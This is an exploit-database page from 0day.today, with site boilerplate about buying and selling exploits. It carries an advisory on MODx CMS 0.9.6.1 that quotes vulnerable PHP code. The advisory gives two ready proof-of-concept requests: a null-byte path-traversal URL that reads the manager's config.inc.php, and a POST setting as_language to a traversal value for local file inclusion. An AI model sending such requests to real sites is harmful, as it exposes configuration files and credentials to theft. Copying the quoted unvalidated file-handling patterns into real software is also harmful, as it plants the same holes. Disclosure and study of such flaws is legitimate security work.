0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MODx CMS 0.9.6.1 Multiple Remote Vulnerabilities
================================================ MODx CMS 0.9.6.1 Multiple Remote Vulnerabilities ================================================ ################################################################ # # AmnPardaz Security Research Team # # Title: MODx CMS Vulnerabilities # Vendor: http://modxcms.com # Bugs: Source code disclosure, local file inclusion # Vulnerable Version: 0.9.6.1 (prior versions also may be affected) # Exploitation: Remote with browser # Fix Available: No! ################################################################ #################### - Description: #################### quote from vendor: "MODx is an open source PHP Application Framework that helps you take control of your online content. It empowers developers and advanced users to give as much control as desired to whomever they desire for day-to-day website content maintenance chores." #################### - Vulnerability: #################### +--> source code disclosure Code Snippet: /assets/js/htcmime.php Line#18-36 $fname = (array_key_exists("file", $_GET)) ? $_GET["file"] : ""; // basename() also strips \x00, we don't need to worry about ? and # in path: // Must be real files anyway, fopen() does not support wildcards $ext = array_pop(explode('.', basename($fname))); if (strcasecmp($ext, "htc") != 0 || !file_exists($fname)) exit ("No file specified, file not found or illegal file."); $flen = filesize($fname); header("Content-type: text/x-component"); header("Content-Length: ".$flen); header("Content-Disposition: inline; filename=$fname"); $fp = fopen($fname, "r"); echo fread($fp, $flen); fclose($fp); [as developer comments out] When magic_quotes_gpc is disabled, its possible to bypass extension check via null character injection ( because of null terminating behavior in any function that uses fopen_wrappers ) which could result in source code disclosure! POC : http://localhost/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc +-->Local file inclusion Code Snippet: /assets/snippets/AjaxSearch/AjaxSearch.php line#17-41 $stripHTML = $_POST['stripHTML']; $stripSnip = $_POST['stripSnip']; $stripSnippets = $_POST['stripSnippets']; $useAllWords = $_POST['useAllWords']; $searchStyle = $_POST['searchStyle']; $minChars = $_POST['minChars']; $maxResults = $_POST['maxResults']; $showMoreResults = $_POST['showMoreResults']; $moreResultsPage = $_POST['moreResultsPage']; $as_language = $_POST['as_language']; $extract = $_POST['extract']; $docgrp = $_POST['docgrp']; $highlightResult = $_POST['highlightResult']; include_once MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/AjaxSearch.inc.php'; include MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/templates.inc.php'; #include default language file include(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/english.inc.php"); #include other language file if set. if($as_language!="english" && $as_language != '') { if(file_exists(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php")) include MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php"; } There is no input validation here therefore its possible to set $as_language which could result in local file inclusion! POC: Method=POST Action=http://localhost/modx-0.9.6.1/index-ajax.php? Name=as_language Value=../ajaxSearch_readme.txt%00 Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php AmnPardaz Security Research Team # 0day.today [2024-12-25] #